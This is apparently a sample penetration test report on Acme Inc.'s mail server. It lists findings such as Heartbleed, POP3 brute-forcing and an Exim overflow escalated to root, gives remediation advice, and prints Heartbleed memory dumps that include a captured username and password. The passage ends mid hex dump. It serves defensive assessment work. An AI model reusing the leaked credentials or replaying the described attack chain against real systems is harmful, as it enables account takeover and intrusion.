HACKER HOUSE

Assessment Report

Acme Inc.

Penetration Testing Report

Prepared by:

Jim Mac
info@myhackerhouse.com

Table of Contents

TABLE OF CONTENTS **2**
DOCUMENT CONTROL **3**
Document Detail *3*
Revision Control *3*
EXECUTIVE SUMMARY **4**
Overview *4*
Business Risks *5*
Vulnerability Summary *6*
Conclusion *8*
TECHNICAL SUMMARY **9**
Scope of Assessment *9*
Caveats *9*
ASSESSMENT RESULTS **10**
SUPPORTING INFORMATION **16**
1. Heartbleed: OpenSSL information disclosure *16*
2. POP3 service susceptible to brute-force attacks *23*
3. Weak user passwords in use *24*
5. POP3 cleartext logins permitted *25*
6. SMTP heap buffer overflow *26*
7. Cleartext submission of password *27*
8. SSL certificate cannot be trusted *30*
9. OpenSSL ChangeCipherSpec vulnerability *31*
10. Finger service user enumeration *32*
11. IMAP service command injection *33*
12. POP3 service command injection *34*
13. FTP server software out-of-date *35*
16. SSL RC4 cipher suites supported (Bar Mitzvah) *36*
17. identd user information leak *37*
APPENDIX **38**
1. Methodology *38*

Document Control

Information contained within this document is confidential. If you are not the intended recipient of this document, destroy any physical and electronic copies immediately. This document and the information within, should not be disclosed outside of Acme Inc. This document is considered proprietary information and remains the property of Hacker House Limited.

Document Detail

Client	Acme Inc.
Author	Hacker House Ltd.
Contact	info@myhackerhouse.com / +1 415 230 0346
Classification	Commercial in Confidence
Project	Penetration Testing Report
Document	HackerHouse_Acme_MailServer_08082018.pdf
Distribution	Daffy Duck

Revision Control

Version	Date	Description	Author
0.1	2018-08-22	Initial draft	Jim Mac
0.2	2018-08-14	Internal QA	Matthew Hickey
1.0	2018-08-16	Release	Hacker House

Executive Summary

Overview

Hacker House have found and proven that it is possible for a user with malicious intent, to take complete control over Acme's mail server and access all data stored within that machine. This is possible due to software running on the server that is not up-to-date. Fortunately, fixing the problem will be relatively straightforward; it is recommended that this issue be addressed as soon as possible.

It is unlikely that an attacker would stop at taking-over this single server, and would likely use the compromised machine to launch further attacks against Acme's internal infrastructure, bypassing any outer perimeter defences. An adversary might even use the compromised server to launch attacks against other targets outside the company. Such activity would likely cause significant damage to Acme's public image.

In several other issues, Hacker House have identified software being used by Acme Inc. (to provide services to the public) that is out-of-date. Again, it is highly recommended that affected components be updated. There are several vulnerabilities that can be addressed in this way.

As well as finding vulnerabilities in software, Hacker House noticed that Acme's policy for staff passwords could actually assist an attacker in gaining access to internal computer systems. Two staff members' accounts were identified as using the same weak password. This had been set for them by a system administrator, and the affected users had not changed their passwords to something more secure. Hacker House simulated a password-guessing attack to confirm that it was possible to gain access to these users' accounts.

It is clear that steps have been taken to protect users and staff members' privacy by encrypting sensitive information however, a number of issues have been found that undermine these steps. A serious vulnerability in cryptography software used by Acme known as "Heartbleed" was found. An adversary can exploit the Heartbleed bug to obtain sensitive information such as usernames and passwords.

The use of non-genuine security certificates for mail and web services, and non-secure encryption methods, further undermine work done to protect users' privacy and system security. It is recommended that new certificates be obtained and the most recent versions of cryptography software be used, to protect users, staff members and the reputation of Acme Inc.

Executive Summary

Business Risks

A total of 18 issues have been identified. Hacker House Ltd. considers 6 of these issues to be high risk. An additional 8 issues are considered to pose a medium risk and 4 issues are considered to be of low risk.

Vulnerability Summary

Rating	Description	Issue Ref.
High	**Heartbleed information disclosure** It was possible to obtain information from the mail server's internal memory by exploiting a flaw known as Heartbleed. Sensitive information was obtained including a username and password. These credentials were then used by Hacker House to gain access to the user's email account.	1
High	**POP3 service can be brute-forced** It was found that the POP3 mail service is susceptible to password guessing attacks. Hacker House were able to compromise accounts by brute-forcing this service, helped by the fact that some users had very weak and easy-to-guess passwords.	2
High	**Weak passwords in use** Hacker House were able to compromise a number of accounts with very little effort, through a brute-force attack, because some users did not have suitably complex passwords.	3
High	**Deprecated SSL versions in use** The remote service accepts connections encrypted using SSL 2.0 and SSL 3.0. These versions of SSL are affected by several known vulnerabilities and should not be used.	4
High	**SMTP heap buffer overflow** The SMTP software running on the host contains a flaw that allows an attacker to execute arbitrary code, by sending a specially crafted message to the SMTP service. Hacker House were able to use public exploits to ultimately gain access to the system's root user account. An attacker can exploit this flaw to take complete control of the system, and potentially launch attacks affecting other systems on the internal network.	5
High	**Cleartext submission of password** The Webmail web application transports users' passwords over an unencrypted connection. This makes it possible for a suitably placed adversary to steal credentials.	6

Medium	**SSL certificate cannot be trusted** The server's X.509 certificate cannot be trusted. This is due to it being issued by a non-trustworthy organisation known as “Superfish”. A non-trustworthy certificate completely undermines SSL/TLS encryption and puts users at risk of having confidential information stolen.	**7**
Medium	**OpenSSL “ChangeCipherSpec” vulnerability** The OpenSSL software running on the host is out of date and/or missing a number of security patches, leaving it vulnerable to a number of known exploits, including a “ChangeCipherSpec” man-in-the-middle attack.	**8**
Medium	**Finger service user enumeration** The remote host is running the finger service, through which it is possible to enumerate user accounts.	**9**
Medium	**IMAP service command injection** The Cyrus IMAP email software running on the server was found to be outdated, and vulnerable to command injection attacks which could allow an adversary to steal users' email and security credentials.	**10**
Medium	**POP3 cleartext logins permitted** The POP3 service allows users to log in by sending a cleartext password over unencrypted connections. This puts users at risk of having their credentials stolen.	**11**
Medium	**POP3 service command injection** The POP3 service running on the server is vulnerable to command injection attacks which could allow an adversary to access users' email accounts.	**12**
Medium	**FTP server software out-of-date** It was possible to detect the type and version of the FTP software running on the host: ProFTPD version 1.3.3a. This version is out of date and may be vulnerable to a buffer overflow attack.	**13**
Medium	**Missing HTTP strict transport security (HSTS)** Responses sent by the application are missing the Strict-Transport-Security header. This puts users at risk of downgrade attacks, leading to sensitive data being compromised.	**14**

Conclusion

Hacker House have conducted a thorough penetration test and web application assessment of the identified host and have found a large number of vulnerabilities including several high-risk flaws. It is possible for an adversary to take complete control over the mail server and access all data stored within that machine. An attacker who is able to achieve this will likely use the compromised machine to launch further attacks against Acme's internal infrastructure, bypassing any firewalls and other outer perimeter defenses. An adversary might even use the compromised server to launch attacks against other targets outside the company, and remain undetected whilst doing so. If discovered, such attacks would appear to originate from within the company, potentially doing significant brand and/or reputational damage. Staff, customers and users of Acme's services risk having their privacy completely undermined, as emails sent and received via Acme's server would be accessible to an adversary. This critical vulnerability exists in an out-of-date version of the Exim software running on the mail server. It is highly recommended that the software be updated to the most recent version, where this flaw has been fixed.

A number of other services running on the server were also found to be using outdated software and these too should be updated. There are several vulnerabilities that can be addressed in this way.

Hacker House recommend that attention be paid to Acme's internal user password policy. Two user accounts were found to be using the same weak password that had been set for them by a system administrator. This is known because Hacker House were able to gain access to the mail accounts during testing, and as part of the scope of this assessment, read selected users' emails. An attacker could exploit the use of weak passwords and (in conjunction with another flaw present on the server) gain access to individual user's accounts through a password guessing or brute-force attack.

Acme have clearly taken steps to protect users and staff members' privacy by employing SSL/TLS to encrypt sensitive information however, a number of issues have been found that undermine these steps. For example, a serious vulnerability known as Heartbleed was found and when exploited, gave Hacker House access to sensitive information, including a username and password. The use of untrustworthy certificates and non-secure encryption methods, further undermine work done to protect users' privacy and system security.

Finally, there are a number of redundant or obsolete services running on Acme's mail server, that usually only exist in development or test environments and as such these services are contain security flaws. It is recommended that such services be disabled in live environments, to prevent them being misused.

Technical Summary

Scope of Assessment

Hacker House Ltd. performed a penetration test and web application assessment against Acme's mail server. The engagement commenced on 6th August 2018 and concluded on 10th August 2018.

The following systems have been identified as included in the scope of this assessment:

- mail.acme.example.com

Caveats

No attempts have been made to perform denial-of-service (DoS) attacks.

Assessment Results

#.	Vulnerability	Rating	Description	Recommendation
1	**Heartbleed: OpenSSL information disclosure** *192.168.56.102*	**High** **CVSS: 8.6**	A TLS request with a specially crafted heartbeat message (RFC 6520) was sent to the host and it responded with raw data from its internal memory (RAM). This out-of-bounds read vulnerability is known as Heartbleed, and can be used to gather information from the server. Up to 64KB of memory can be read in this way, potentially exposing passwords, private keys, and other sensitive data. In this case, Hacker House were able to obtain a username and password, and later use those credentials to gain access to the computer system.	It is highly recommended that the OpenSSL software in use, be upgraded to version 1.0.1g at least. An alternative short-term solution would be to recompile OpenSSL with the -DOPENSSL_NO_HEARTBEATS flag.
2	**POP3 service susceptible to brute-force attacks** *192.168.56.102*	**High** **CVSS: 9.9**	It was found that the POP3 service running on TCP port 110 is susceptible to password guessing attacks. Due to some users having weak passwords, Hacker House were able to compromise accounts by brute-forcing this service. Furthermore, the mail software running on the server advertises its type and version allowing those with malicious intent to discover and potentially exploit this service using automated tools.	If POP3 must be used, an account lock-out policy should be enforced, and rate limiting considered to make password guessing attacks less viable.
3	**Weak user passwords in use** *192.168.56.102*	**High** **CVSS: 8.1**	Hacker House were able to compromise a number of accounts with very little effort, through a brute-force attack (against the POP3 service) because some users did not have suitably complex passwords. Had the affected users been using strong passwords, the time required to carry out a successful attack would have been greatly increased. The combination of weak passwords and a service that can be brute-forced make this host an attractive target for adversaries.	It is important that users be forced into setting suitably strong and complex passwords. Such a policy should be enforced by the computer system itself, which can also prompt users to update passwords at regular intervals. Where a number of users' passwords need to be reset simultaneously, they should be randomised and adhere to the same complexity rules. *See the evidence for the "POP3 service susceptible to brute-force attacks" issue for more information about how Hacker House conducted this attack.*

4	**Deprecated SSL versions in use**	**High CVSS: 8.2**	The remote service accepts connections encrypted using SSL 2.0 and SSL 3.0, both of which are now deprecated. An adversary can exploit flaws in these versions of the protocol to conduct a man-in-the-middle attack, allowing them to obtain sensitive information from victims.	It is recommended that these protocols be disabled entirely and TLS be used instead.
5	**SMTP heap buffer overflow** *192.168.56.102*	**High CVSS: 10**	The SMTP software running on the host contains a flaw (CVE-2010-4344) that allows an attacker to execute arbitrary code with the privileges of the Exim daemon, by sending a specially crafted message. Then, by exploiting a related vulnerability (CVE-2010-4345) it was possible to gain full access to the systems super-user (root) account. An attacker that successfully exploits these two vulnerabilities, will have complete control over the system, including access to all information stored on it. Furthermore, it would be possible to launch further attacks from this compromised machine, against other systems within the company or against external entities.	Exim should be updated to the latest version as all versions of Exim previous to version 4.91 are now obsolete. See https://www.exim.org/ for more information. If the service isn't actually used, it should be disabled.
6	**Cleartext submission of password** *Web-application*	**High CVSS: 7**	Although the webmail web application offers HTTPS, it was still possible to submit passwords to the login form over HTTP. Any user unwittingly using this non-secure method of connection risks having their credentials stolen and account compromised. An adversary would attempt to force this non-encrypted connection so that they could view traffic and steal users' credentials. An attacker would need to be suitably positioned to exploit this vulnerability.	The web application should use transport-level encryption (SSL/TLS) to protect all communications passing between the client and the server. The Strict-Transport-Security HTTP header should be used to ensure that clients refuse to access the server over an insecure connection.
7	**SSL certificate cannot be trusted** *192.168.56.102*	**Medium CVSS: 6.3**	The server's X.509 certificate cannot be trusted, making users vulnerable to serious cyberattacks, including interception of passwords and sensitive data being transmitted through browsers. The SSL certificate at the top of the host's certificate chain is signed by a non-trustworthy certificate authority called Superfish.	Only legitimate, trustworthy certificates should be used. A new certificate should be generated or purchased. **Other issues** were also found with the SSL certificate, that can also be addressed by obtaining a proper certificate from a trustworthy certificate authority:

				• RSA key lengths of less than 2048 bits are in use (RSA keys should now be at least 2048 bits) • SSL certificates have been signed using a weak hashing algorithm
8	**OpenSSL ChangeCipherSpec vulnerability** *192.168.56.102*	**Medium CVSS: 6.1**	The OpenSSL service running on the host is vulnerable to man-in-the-middle (MitM) attacks, based on its acceptance of a specially crafted handshake. This flaw could allow a MitM attacker to decrypt or forge SSL messages by telling the service to begin encrypted communications before key material has been exchanged, which causes predictable keys to be used to secure future traffic. Hacker House have only tested for an SSL/TLS MitM vulnerability (CVE-2014-0224). However, it is highly likely that the OpenSSL service on the remote host is also affected by further vulnerabilities that have been disclosed by OpenSSL. These include arbitrary code execution and denial of service flaws. The following CVE numbers correspond to these other known vulnerabilities: • CVE-2010-5298 • CVE-2014-0076 • CVE-2014-0195 • CVE-2014-0198 • CVE-2014-0221 • CVE-2014-3470	The missing security patches for the version of OpenSSL running on the server should be installed: • OpenSSL 0.9.8 SSL/TLS users should upgrade to 0.9.8za. • OpenSSL 1.0.0 SSL/TLS users should upgrade to 1.0.0m. • OpenSSL 1.0.1 SSL/TLS users should upgrade to 1.0.1h. OpenSSL did not release individual patches for these vulnerabilities, instead they were all patched under a single version release. Note that the service or host should be restarted post install as vulnerabilities will remain until this is done.

9	**Finger service user enumeration** *192.168.56.102*	**Medium CVSS: 5.8**	The host was found to be running the finger service on TCP port 79, which provides useful information to an adversary such as usernames and information about the use of the machine (such as when users last logged in). Hacker House were able to build a proof of concept script, that when run by an adversary would quickly provide them with a list of valid user names. Furthermore, it was possible to gather a list of users and then brute force some of these accounts because weak passwords had been used.	It is recommended that this service be disabled by commenting out the finger line in /etc/inetd.conf and restarting the inetd process.
10	**IMAP service command injection** *192.168.56.102*	**Medium CVSS: 6.8**	The IMAP service running on port 143 (Cyrus imapd version 2.3.2) was found to be vulnerable to command injection. It is possible for an attacker to exploit a flaw in the IMAP software's STARTTLS implementation, allowing them to inject commands during the plaintext protocol phase, that are executed during the ciphertext protocol phase. A successful attack could mean that the attacker is able to obtain a victim's email or associated SASL (Simple Authentication and Security Layer) credentials. It is worth mentioning that the software also discloses its name and version, allowing automated tools to detect this flaw: Cyrus IMAP4 v2.3.2	The Cyrus IMAP software running on the server should be updated to the latest version. See https://cyrusimap.org/ for more information.
11	**POP3 cleartext logins permitted** *192.168.56.102*	**Medium CVSS: 6.1**	The host is running a POP3 service that allows cleartext logins over unencrypted connections. This means a suitably placed attacker can steal user names and passwords.	If using a cleartext authentication method, it is highly recommended that traffic be encrypted with SSL/TLS using stunnel. Alternatively, disable cleartext authentication or if this is not possible, use an alternative service that does not use cleartext transmission of users' credentials.

12	**POP3 service command injection** *192.168.56.102*	**Medium CVSS: 6.8**	The POP3 service contains a software flaw in its STLS implementation that could allow an adversary to inject commands during the plaintext protocol phase, that will be executed during the ciphertext protocol phase. Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.	The software vendor should be contacted to see if there is a fix available. Alternatively, different software incorporating the IMAP protocol could be used for handling email. Discontinuing reliance on POP would also remedy a number of other vulnerabilities found on this server.
13	**FTP server software out-of-date** *192.168.56.102*	**Medium CVSS: 6.5**	The ProFTPD software running on the server is outdated and may be vulnerable to a buffer overflow attack (CVE-2010-4221). This is a known vulnerability that is not present in future versions of ProFTPD. The currently installed version is 1.3.3a.	This FTP software running on this server should be upgraded to the latest version. See the following for more information: http://proftpd.org/ for more information. https://www.cvedetails.com/cve/CVE-2010-4221/
14	**Missing HTTP strict transport security (HSTS)**	**Medium CVSS: 6.1**	The web application, despite using HTTPS, does not enforce the use of this secure protocol. A suitably placed adversary is able to downgrade a user's traffic, negating encryption, and allowing them to steal sensitive data such as cookies, passwords and payment details.	All responses sent by the web application should make use of the Strict-Transport-Security header to prevent insecure connections. Please note that if a user has never visited the site previously, their initial connection may still be insecure. This problem can also be overcome, by requesting that the site be preloaded. This option should be considered carefully before implementing. For more information on this issue, see: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
15	**Discard service**	**Low CVSS: 3.7**	The service running on port 9; the discard service, is generally only used for testing and debugging (if at all) and should be disabled in live or production environments.	The discard service should be disabled. This can be done as follows: For Unix systems, comment out the discard line in **/etc/inetd.conf** and restart the **inetd** process On Windows machines, first set the following registry key to **0**: `HKLM\System\CurrentControlSet\Services\SimpTCP\Parameters\EnableTcpDiscard`

				Then launch cmd.exe and type:
				`net stop simptcp`
				`net start simptcp`
				To restart the service.

16	**SSL RC4 cipher suites supported (Bar Mitzvah)** *192.168.56.102*	**Low CVSS: 3.4**	An attack that exploits this vulnerability is known as the bar mitzvah attack and can result in users having their data comprised. The attack works because the RC4 cipher is flawed in its design and does not generate a good quality pseudo-random signal during the encryption process. This lack of randomness can mean that patterns emerge in data that is repeatedly encrypted (such as session cookies). These patterns can then be used to derive the plaintext.	The POP3 service (TCP port 995) should be reconfigured to avoid the use of RC4 ciphers.
17	**identd user information leak** *192.168.56.102*	**Low CVSS: 3.5**	The host is running the ident (or auth) service which leaks information about which user accounts are running the various services on the server. An attacker will use this information to target those services that are being run with high privileges e.g. those running as the root user.	Unauthorised access to the service should be blocked or ideally, the service should be disabled entirely.
18	**TLS version 1.0 protocol detection**	**Low CVSS: 3.4**	The remote service accepts connections encrypted using TLS 1.0, which although better than SSL versions 2 and 3 (also accepted by this server) still has a number of cryptographic design flaws and should be disabled in favour of TLS 1.1 or greater. Known flaws may be exploited by adversaries to gain access to sensitive information that was thought safe by victims.	It is recommended that the server be configured to support TLS 1.1 and 1.2. Support for TLS 1.0 should be disabled.

Supporting Information

1. Heartbleed: OpenSSL information disclosure

192.168.56.102

It was possible to read data from memory by exploiting this flaw. One of the memory dumps revealed sensitive information that would be valuable to an adversary. This information – a valid username and password, can be seen below. Note that the memory dump below has been processed by the GNU stings command first. This information was found by exploiting the Heartbleed vulnerability on **TCP port 443**:

```
[j$p
aD@a&=
ecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://mailserver01/src/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close
login_username=jennya&secretkey=J3nnyl&js_autodetect_results=1&just_logged_in=1
8JADU
erground1
Private1
Elite Squad1
hackbloc.linux01.lab1
root@localhost0
o0m0
y-w0
xca certificate0
hr!9
?]`}
#.fc
|>+X
YYQfT
C$tJ
AWT6
_?0b
vwwJ
6,~>V:
#iW&
Ek{7}*
nKXw
U@YSf
=Cq}4
\wHu
O`2f
ojU&
oZ;^
[7$c7
4pmb
Dzla,
```

Other ports were also affected; the raw data obtained from each can be seen below.

TCP port 110 (POP3):

```
0x0000:  4A 38 34 00 02 3E 00 1D 00 1C FE FF FF E0 FE FE    J84..>..........
0x0010:  FF E1 00 A2 00 A3 C0 80 C0 81 C0 A6 00 AA C0 A7    ................
0x0020:  00 AB C0 96 C0 90 C0 97 C0 91 CC AD C0 9E C0 A2    ................
0x0030:  00 9E C0 9F C0 A3 00 9F C0 7C C0 7D CC AA 00 A4    .........|.}....
0x0040:  00 A5 C0 82 C0 83 00 A0 00 A1 C0 7E C0 7F 00 A6    ...........~....
0x0050:  00 A7 C0 84 C0 85 C0 AC C0 AE C0 2B C0 AD C0 AF    ...........+....
0x0060:  C0 2C C0 72 C0 86 C0 73 C0 87 CC A9 C0 9A C0 9B    .,.r...s........
0x0070:  CC AC C0 2F C0 30 C0 76 C0 8A C0 77 C0 8B CC A8    .../.0.v...w....
0x0080:  C0 2D C0 2E C0 74 C0 88 C0 75 C0 89 C0 31 C0 32    .-...t...u...1.2
0x0090:  C0 78 C0 8C C0 79 C0 8D C0 AA C0 AB C0 A4 C0 A8    .x...y..........
0x00A0:  00 A8 C0 A5 C0 A9 00 A9 C0 94 C0 8E C0 95 C0 8F    ................
0x00B0:  CC AB 00 AC 00 AD C0 98 C0 92 C0 99 C0 93 CC AE    ................
0x00C0:  C0 9C C0 A0 00 9C C0 9D C0 A1 00 9D C0 7A C0 7B    .............z.{
0x00D0:  00 63 00 65 00 11 00 13 00 32 00 38 00 44 00 87    .c.e.....2.8.D..
0x00E0:  00 12 00 66 00 99 00 8F 00 90 00 91 00 8E 00 14    ...f............
0x00F0:  00 16 00 33 00 39 00 45 00 88 00 15 00 9A 00 0B    ...3.9.E........
0x0100:  00 0D 00 30 00 36 00 42 00 85 00 0C 00 97 00 0E    ...0.6.B........
0x0110:  00 10 00 31 00 37 00 43 00 86 00 0F 00 98 00 19    ...1.7.C........
0x0120:  00 17 00 1B 00 34 00 3A 00 46 00 89 00 1A 00 18    .....4.:.F......
0x0130:  00 9B C0 08 C0 09 C0 0A C0 06 C0 07 C0 12 C0 13    ................
0x0140:  C0 14 C0 10 C0 11 C0 03 C0 04 C0 05 C0 01 C0 02    ................
0x0150:  C0 0D C0 0E C0 0F C0 0B C0 0C C0 15 C0 17 C0 18    ................
0x0160:  C0 19 C0 16 00 29 00 26 00 2A 00 27 00 2B 00 28    .....).&.*.'.+.(
0x0170:  00 23 00 1F 00 22 00 1E 00 25 00 21 00 24 00 20    .#..."...%.!.$.
0x0180:  00 00 00 8B 00 8C 00 8D 00 8A 00 62 00 61 00 60    ...........b.a.`
0x0190:  00 64 00 08 00 06 00 03 00 93 00 94 00 95 00 92    .d..............
0x01A0:  00 0A 00 2F 00 35 00 41 00 84 00 09 00 07 00 01    .../.5.A........
0x01B0:  00 02 00 04 00 05 00 96 00 40 00 6A 00 BD 00 C3    .........@.j....
0x01C0:  00 B2 00 B3 00 2D 00 B4 00 B5 00 67 00 6B 00 BE    .....-.....g.k..
0x01D0:  00 C4 00 3E 00 68 00 BB 00 C1 00 3F 00 69 00 BC    ...>.h.....?.i..
0x01E0:  00 C2 00 6C 00 6D 00 BF 00 C5 C0 23 C0 24 C0 34    ...l.m.....#.$.4
0x01F0:  C0 35 C0 37 C0 36 C0 38 C0 39 C0 3A C0 3B C0 33    .5.7.6.8.9.:.;.3
0x0200:  C0 27 C0 28 C0 25 C0 26 C0 29 C0 2A 00 81 00 83    .'.(.%.&.).*....
0x0210:  00 80 00 82 00 AE 00 AF 00 2C 00 B0 00 B1 00 B6    .........,......
0x0220:  00 B7 00 2E 00 B8 00 B9 00 3C 00 3D 00 BA 00 C0    .........<.=....
0x0230:  00 3B C0 1C C0 1F C0 22 C0 1B C0 1E C0 21 C0 1A    .;....."....!..
0x0240:  C0 1D C0 20 01 00 00 4F 00 0F 00 01 01 00 0A 00    ... ...O........
0x0250:  3E 00 3C 00 01 00 02 00 03 00 04 00 05 00 06 00    >.<.............
0x0260:  07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00    ................
0x0270:  0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00    ................
0x0280:  17 00 18 00 19 00 1A 00 1B 00 1C FF 01 FF 02 00    ................
0x0290:  0B 00 04 03 00 01 02 00 00 00 00 00 00 00 00 00    ................
0x02A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
```

TCP port 143 (IMAP):

```
0x0000:  4B 79 5A 00 02 3E 00 1D 00 1C FE FF FF E0 FE FE    KyZ..>..........
0x0010:  FF E1 00 A2 00 A3 C0 80 C0 81 C0 A6 00 AA C0 A7    ................
0x0020:  00 AB C0 96 C0 90 C0 97 C0 91 CC AD C0 9E C0 A2    ................
0x0030:  00 9E C0 9F C0 A3 00 9F C0 7C C0 7D CC AA 00 A4    .........|.}....
0x0040:  00 A5 C0 82 C0 83 00 A0 00 A1 C0 7E C0 7F 00 A6    ...........~....
0x0050:  00 A7 C0 84 C0 85 C0 AC C0 AE C0 2B C0 AD C0 AF    ...........+....
0x0060:  C0 2C C0 72 C0 86 C0 73 C0 87 CC A9 C0 9A C0 9B    .,.r...s........
0x0070:  CC AC C0 2F C0 30 C0 76 C0 8A C0 77 C0 8B CC A8    .../.0.v...w....
0x0080:  C0 2D C0 2E C0 74 C0 88 C0 75 C0 89 C0 31 C0 32    .-...t...u...1.2
0x0090:  C0 78 C0 8C C0 79 C0 8D C0 AA C0 AB C0 A4 C0 A8    .x...y..........
0x00A0:  00 A8 C0 A5 C0 A9 00 A9 C0 94 C0 8E C0 95 C0 8F    ................
0x00B0:  CC AB 00 AC 00 AD C0 98 C0 92 C0 99 C0 93 CC AE    ................
0x00C0:  C0 9C C0 A0 00 9C C0 9D C0 A1 00 9D C0 7A C0 7B    .............z.{
0x00D0:  00 63 00 65 00 11 00 13 00 32 00 38 00 44 00 87    .c.e.....2.8.D..
0x00E0:  00 12 00 66 00 99 00 8F 00 90 00 91 00 8E 00 14    ...f............
0x00F0:  00 16 00 33 00 39 00 45 00 88 00 15 00 9A 00 0B    ...3.9.E........
0x0100:  00 0D 00 30 00 36 00 42 00 85 00 0C 00 97 00 0E    ...0.6.B........
0x0110:  00 10 00 31 00 37 00 43 00 86 00 0F 00 98 00 19    ...1.7.C........
0x0120:  00 17 00 1B 00 34 00 3A 00 46 00 89 00 1A 00 18    .....4.:.F......
0x0130:  00 9B C0 08 C0 09 C0 0A C0 06 C0 07 C0 12 C0 13    ................
0x0140:  C0 14 C0 10 C0 11 C0 03 C0 04 C0 05 C0 01 C0 02    ................
0x0150:  C0 0D C0 0E C0 0F C0 0B C0 0C C0 15 C0 17 C0 18    ................
0x0160:  C0 19 C0 16 00 29 00 26 00 2A 00 27 00 2B 00 28    .....).&.*.'.+.(
0x0170:  00 23 00 1F 00 22 00 1E 00 25 00 21 00 24 00 20    .#..."...%.!.$.
0x0180:  00 00 00 8B 00 8C 00 8D 00 8A 00 62 00 61 00 60    ...........b.a.`
0x0190:  00 64 00 08 00 06 00 03 00 93 00 94 00 95 00 92    .d..............
0x01A0:  00 0A 00 2F 00 35 00 41 00 84 00 09 00 07 00 01    .../.5.A........
0x01B0:  00 02 00 04 00 05 00 96 00 40 00 6A 00 BD 00 C3    .........@.j....
0x01C0:  00 B2 00 B3 00 2D 00 B4 00 B5 00 67 00 6B 00 BE    .....-.....g.k..
0x01D0:  00 C4 00 3E 00 68 00 BB 00 C1 00 3F 00 69 00 BC    ...>.h.....?.i..
0x01E0:  00 C2 00 6C 00 6D 00 BF 00 C5 C0 23 C0 24 C0 34    ...l.m.....#.$.4
0x01F0:  C0 35 C0 37 C0 36 C0 38 C0 39 C0 3A C0 3B C0 33    .5.7.6.8.9.:.;.3
0x0200:  C0 27 C0 28 C0 25 C0 26 C0 29 C0 2A 00 81 00 83    .'.(.%.&.).*....
0x0210:  00 80 00 82 00 AE 00 AF 00 2C 00 B0 00 B1 00 B6    .........,......
0x0220:  00 B7 00 2E 00 B8 00 B9 00 3C 00 3D 00 BA 00 C0    .........<.=....
0x0230:  00 3B C0 1C C0 1F C0 22 C0 1B C0 1E C0 21 C0 1A    .;.....".....!..
0x0240:  C0 1D C0 20 01 00 00 4F 00 0F 00 01 01 00 0A 00    ... ...O........
0x0250:  3E 00 3C 00 01 00 02 00 03 00 04 00 05 00 06 00    >.<.............
0x0260:  07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00    ................
0x0270:  0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00    ................
0x0280:  17 00 18 00 19 00 1A 00 1B 00 1C FF 01 FF 02 00    ................
0x0290:  0B 00 04 03 00 01 02 00 00 00 00 00 00 00 00 00    ................
0x02A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
*
0x1000:
```

TCP port 443 (HTTPS):

```
0x0000:  5F 70 4D 00 02 3E 00 1D 00 1C FE FF FF E0 FE FE    _pM..>..........
0x0010:  FF E1 00 A2 00 A3 C0 80 C0 81 C0 A6 00 AA C0 A7    ................
0x0020:  00 AB C0 96 C0 90 C0 97 C0 91 CC AD C0 9E C0 A2    ................
0x0030:  00 9E C0 9F C0 A3 00 9F C0 7C C0 7D CC AA 00 A4    .........|.}....
0x0040:  00 A5 C0 82 C0 83 00 A0 00 A1 C0 7E C0 7F 00 A6    ...........~....
0x0050:  00 A7 C0 84 C0 85 C0 AC C0 AE C0 2B C0 AD C0 AF    ...........+....
0x0060:  C0 2C C0 72 C0 86 C0 73 C0 87 CC A9 C0 9A C0 9B    .,.r...s........
0x0070:  CC AC C0 2F C0 30 C0 76 C0 8A C0 77 C0 8B CC A8    .../.0.v...w....
0x0080:  C0 2D C0 2E C0 74 C0 88 C0 75 C0 89 C0 31 C0 32    .-...t...u...1.2
0x0090:  C0 78 C0 8C C0 79 C0 8D C0 AA C0 AB C0 A4 C0 A8    .x...y..........
0x00A0:  00 A8 C0 A5 C0 A9 00 A9 C0 94 C0 8E C0 95 C0 8F    ................
0x00B0:  CC AB 00 AC 00 AD C0 98 C0 92 C0 99 C0 93 CC AE    ................
0x00C0:  C0 9C C0 A0 00 9C C0 9D C0 A1 00 9D C0 7A C0 7B    .............z.{
0x00D0:  00 63 00 65 00 11 00 13 00 32 00 38 00 44 00 87    .c.e.....2.8.D..
0x00E0:  00 12 00 66 00 99 00 8F 00 90 00 91 00 8E 00 14    ...f............
0x00F0:  00 16 00 33 00 39 00 45 00 88 00 15 00 9A 00 0B    ...3.9.E........
0x0100:  00 0D 00 30 00 36 00 42 00 85 00 0C 00 97 00 0E    ...0.6.B........
0x0110:  00 10 00 31 00 37 00 43 00 86 00 0F 00 98 00 19    ...1.7.C........
0x0120:  00 17 00 1B 00 34 00 3A 00 46 00 89 00 1A 00 18    .....4.:.F......
0x0130:  00 9B C0 08 C0 09 C0 0A C0 06 C0 07 C0 12 C0 13    ................
0x0140:  C0 14 C0 10 C0 11 C0 03 C0 04 C0 05 C0 01 C0 02    ................
0x0150:  C0 0D C0 0E C0 0F C0 0B C0 0C C0 15 C0 17 C0 18    ................
0x0160:  C0 19 C0 16 00 29 00 26 00 2A 00 27 00 2B 00 28    .....).&.*.'.+.(
0x0170:  00 23 00 1F 00 22 00 1E 00 25 00 21 00 24 00 20    .#..."...%.!.$.
0x0180:  00 00 00 8B 00 8C 00 8D 00 8A 00 62 00 61 00 60    ...........b.a.`
0x0190:  00 64 00 08 00 06 00 03 00 93 00 94 00 95 00 92    .d..............
0x01A0:  00 0A 00 2F 00 35 00 41 00 84 00 09 00 07 00 01    .../.5.A........
0x01B0:  00 02 00 04 00 05 00 96 00 40 00 6A 00 BD 00 C3    .........@.j....
0x01C0:  00 B2 00 B3 00 2D 00 B4 00 B5 00 67 00 6B 00 BE    .....-.....g.k..
0x01D0:  00 C4 00 3E 00 68 00 BB 00 C1 00 3F 00 69 00 BC    ...>.h.....?.i..
0x01E0:  00 C2 00 6C 00 6D 00 BF 00 C5 C0 23 C0 24 C0 34    ...l.m.....#.$.4
0x01F0:  C0 35 C0 37 C0 36 C0 38 C0 39 C0 3A C0 3B C0 33    .5.7.6.8.9.:.;.3
